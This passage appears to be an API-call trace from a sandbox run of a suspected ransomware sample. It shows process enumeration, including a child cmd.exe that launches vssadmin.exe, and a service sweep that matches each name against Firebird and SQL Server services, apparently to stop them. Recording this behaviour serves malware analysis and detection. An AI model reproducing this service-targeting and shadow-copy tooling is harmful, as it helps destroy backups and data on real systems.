(lpString="spgagentservice.exe") returned 19 [0050.450] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0050.451] lstrlenW (lpString="utg2.exe") returned 8 [0050.451] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0050.452] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0050.452] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0050.453] lstrlenW (lpString="increases.exe") returned 13 [0050.454] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.455] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.455] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0050.456] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0050.456] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0050.456] lstrlenW (lpString="driver.exe") returned 10 [0050.457] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0050.458] lstrlenW (lpString="cmd.exe") returned 7 [0050.458] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0050.459] lstrlenW (lpString="conhost.exe") returned 11 [0050.459] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0050.463] lstrlenW (lpString="vssadmin.exe") returned 12 [0050.463] Process32NextW (in: hSnapshot=0x1cc, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0050.464] CloseHandle (hObject=0x1cc) returned 1 [0050.464] Sleep (dwMilliseconds=0x1f4) [0051.369] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f0750 [0051.370] EnumServicesStatusExW (in: hSCManager=0x35f0750, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0051.371] GetLastError () returned 0xea [0051.371] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x134c) returned 0x60e1c0 [0051.371] EnumServicesStatusExW (in: hSCManager=0x35f0750, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60e1c0, cbBufSize=0x134c, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60e1c0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0051.373] CloseServiceHandle (hSCObject=0x35f0750) returned 1 [0051.373] lstrlenW (lpString="Appinfo") returned 7 [0051.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0051.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0051.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0051.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0051.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0051.373] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0051.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0051.373] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0051.373] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0051.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0051.373] lstrlenW (lpString="AudioSrv") returned 8 [0051.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0051.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0051.374] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0051.374] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0051.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0051.374] lstrlenW (lpString="BFE") returned 3 [0051.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0051.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0051.374] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0051.374] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0051.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0051.374] lstrlenW (lpString="CryptSvc") returned 8 [0051.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0051.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0051.374] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0051.374] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0051.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0051.374] lstrlenW (lpString="CscService") returned 10 [0051.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0051.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0051.375] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0051.375] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0051.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0051.375] lstrlenW (lpString="DcomLaunch") returned 10 [0051.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0051.375] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0051.375] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0051.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0051.375] lstrlenW (lpString="Dhcp") returned 4 [0051.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0051.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0051.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0051.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0051.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0051.375] lstrlenW (lpString="Dnscache") returned 8 [0051.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0051.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0051.376] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0051.376] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0051.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0051.376] lstrlenW (lpString="DPS") returned 3 [0051.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0051.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0051.376] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0051.376] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0051.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0051.376] lstrlenW (lpString="eventlog") returned 8 [0051.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0051.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0051.376] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0051.376] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0051.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0051.376] lstrlenW (lpString="EventSystem") returned 11 [0051.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0051.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0051.376] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0051.376] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0051.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0051.377] lstrlenW (lpString="FontCache") returned 9 [0051.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0051.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0051.377] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0051.377] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0051.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0051.377] lstrlenW (lpString="gpsvc") returned 5 [0051.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0051.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0051.377] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0051.377] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0051.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0051.377] lstrlenW (lpString="iphlpsvc") returned 8 [0051.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0051.377] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0051.377] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0051.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0051.377] lstrlenW (lpString="LanmanServer") returned 12 [0051.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0051.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0051.378] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0051.378] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0051.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0051.378] lstrlenW (lpString="LanmanWorkstation") returned 17 [0051.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0051.378] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0051.378] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0051.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0051.378] lstrlenW (lpString="lmhosts") returned 7 [0051.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0051.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0051.378] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0051.378] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0051.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0051.378] lstrlenW (lpString="MMCSS") returned 5 [0051.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0051.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0051.378] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0051.378] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0051.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0051.379] lstrlenW (lpString="MpsSvc") returned 6 [0051.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0051.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0051.379] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0051.379] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0051.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0051.379] lstrlenW (lpString="Netman") returned 6 [0051.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0051.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0051.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0051.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0051.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0051.379] lstrlenW (lpString="netprofm") returned 8 [0051.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0051.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0051.379] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0051.379] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0051.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0051.379] lstrlenW (lpString="NlaSvc") returned 6 [0051.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0051.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0051.380] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0051.380] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0051.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0051.380] lstrlenW (lpString="nsi") returned 3 [0051.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0051.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0051.380] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0051.380] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0051.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0051.380] lstrlenW (lpString="PcaSvc") returned 6 [0051.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0051.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0051.380] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0051.380] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0051.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0051.380] lstrlenW (lpString="PlugPlay") returned 8 [0051.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0051.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0051.380] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0051.381] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0051.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0051.381] lstrlenW (lpString="Power") returned 5 [0051.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0051.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0051.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0051.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0051.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0051.381] lstrlenW (lpString="ProfSvc") returned 7 [0051.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0051.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0051.381] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0051.381] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0051.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0051.381] lstrlenW (lpString="RpcEptMapper") returned 12 [0051.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0051.381] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0051.381] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0051.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0051.382] lstrlenW (lpString="RpcSs") returned 5 [0051.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0051.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0051.382] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0051.382] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0051.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0051.382] lstrlenW (lpString="SamSs") returned 5 [0051.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0051.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0051.382] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0051.382] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0051.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0051.382] lstrlenW (lpString="Schedule") returned 8 [0051.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0051.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0051.382] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0051.382] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0051.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0051.382] lstrlenW (lpString="SENS") returned 4 [0051.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0051.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0051.383] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0051.383] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0051.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0051.383] lstrlenW (lpString="ShellHWDetection") returned 16 [0051.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.383] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0051.383] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0051.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0051.383] lstrlenW (lpString="Spooler") returned 7 [0051.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0051.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0051.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0051.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0051.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0051.383] lstrlenW (lpString="sppsvc") returned 6 [0051.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0051.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0051.384] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0051.384] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0051.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0051.384] lstrlenW (lpString="SysMain") returned 7 [0051.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0051.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0051.384] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0051.384] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0051.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0051.384] lstrlenW (lpString="Themes") returned 6 [0051.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0051.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0051.384] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0051.384] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0051.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0051.384] lstrlenW (lpString="TrkWks") returned 6 [0051.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0051.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0051.384] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0051.384] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0051.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0051.385] lstrlenW (lpString="UxSms") returned 5 [0051.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0051.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0051.385] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0051.385] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0051.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0051.385] lstrlenW (lpString="WdiServiceHost") returned 14 [0051.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.385] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0051.385] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0051.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0051.386] lstrlenW (lpString="WdiSystemHost") returned 13 [0051.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.386] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0051.386] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0051.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0051.386] lstrlenW (lpString="WinDefend") returned 9 [0051.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0051.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0051.386] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0051.386] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0051.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0051.386] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0051.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.386] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0051.387] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0051.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0051.387] lstrlenW (lpString="Winmgmt") returned 7 [0051.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0051.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0051.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0051.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0051.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0051.387] lstrlenW (lpString="wscsvc") returned 6 [0051.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0051.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0051.387] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0051.387] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0051.387] lstrcmpiW (lpString1="sqlserveradhelper", 